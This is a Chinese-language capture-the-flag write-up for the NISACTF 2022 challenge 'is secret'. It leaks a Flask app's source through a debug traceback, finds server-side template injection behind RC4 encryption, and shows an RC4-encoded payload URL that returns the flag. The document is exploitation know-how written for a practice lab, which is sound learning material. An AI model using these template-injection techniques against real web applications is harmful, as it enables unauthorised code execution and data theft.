

# [NISACTF 2022]is secret

← → ↻ ⚠ 不安全 | 1.14.71.254:28425

Welcome To Find Secret

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/robots.txt

It is Android ctf

真的吗 我不信

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/secret

Tell me your secret.I will encrypt it so others can't see

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/secret?secret=1

d

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/secret?secret=222

g]

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/secret?secret=root

'VA

# UnicodeDecodeError

UnicodeDecodeError: 'ascii' codec can't decode byte 0xa4 in position 4: ordinal not in range(128)

## Traceback (most recent call last)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2309, in \_\_call\_\_

```
return self.wsgi_app(environ, start_response)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2295, in wsgi\_app

```
response = self.handle_exception(e)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1741, in handle\_exception

```
reraise(exc_type, exc_value, tb)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2292, in wsgi\_app

```
response = self.full_dispatch_request()
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1815, in full\_dispatch\_request

```
rv = self.handle_user_exception(e)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1718, in handle\_user\_exception

```
reraise(exc_type, exc_value, tb)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1813, in full\_dispatch\_request

```
rv = self.handle_user_exception(e)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1718, in handle\_user\_exception

```
reraise(exc_type, exc_value, tb)
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1813, in full\_dispatch\_request

```
rv = self.dispatch_request()
```

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1799, in dispatch\_request

```
return self.view_functions[rule.endpoint](**req.view_args)
```

File "/app/app.py", line 35, in secret

```
a=render_template_string(safe(deS))
```

File "/usr/local/lib/python2.7/site-packages/flask/templating.py", line 149, in render\_template\_string

```
return _render(ctx.app.jinja_env.from_string(source),
```

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 941, in from\_string

```
return cls.from_code(self, self.compile(source), globals, None)
```

File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 628, in compile

File "/app/app.py", line 35, in secret

```
if(secret==None):
```

```
    return 'Tell me your secret.I will encrypt it so others can\'t see'
```

```
rc=rc4_Modified.RC4("HereIsTreasure") #解密
```

```
deS=rc.do_crypt(secret)
```

```
a=render_template_string(safe(deS))
```

```
if 'ciscn' in a.lower():
```

```
    return 'flag detected!'
```

```
return a
```

SSTI (模板注入)

<https://websec.readthedocs.io/zh/latest/vuln/ssti.html>

flask下的模板注入入门

<https://www.freebuf.com/articles/web/279670.html>

← → ↻ ⚠ 不安全 | 1.14.71.254:28425/secret?secret={{2-1}}

# UnicodeDecodeError

UnicodeDecodeError: 'ascii' codec can't decode byte 0xfb in position 4: ordinal not in range(128)

Traceback (most recent call last)

File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2309, in \_\_call\_\_

好像不能直接来

RC4加密脚本：

<http://t.zoukankan.com/kevinbruce656-p-12638843.html>

The screenshot shows a terminal window with the command `python test.py` and its output, which is a long string of escaped Unicode characters. Below the terminal, a web browser window shows the URL `1.14.71.254:28425/secret?secret=.%14%1E%12%C3%A484mg%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9E%3B%C2%88m%C2%AE5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AE n%C2%96i%5Dv%7FX%C2%92`. The browser's address bar shows the URL and the secret value.

'class' is not allowed. Secret is NSSCTF{879b9b5b-0704-4688-b4db-e70b6f0ea23f}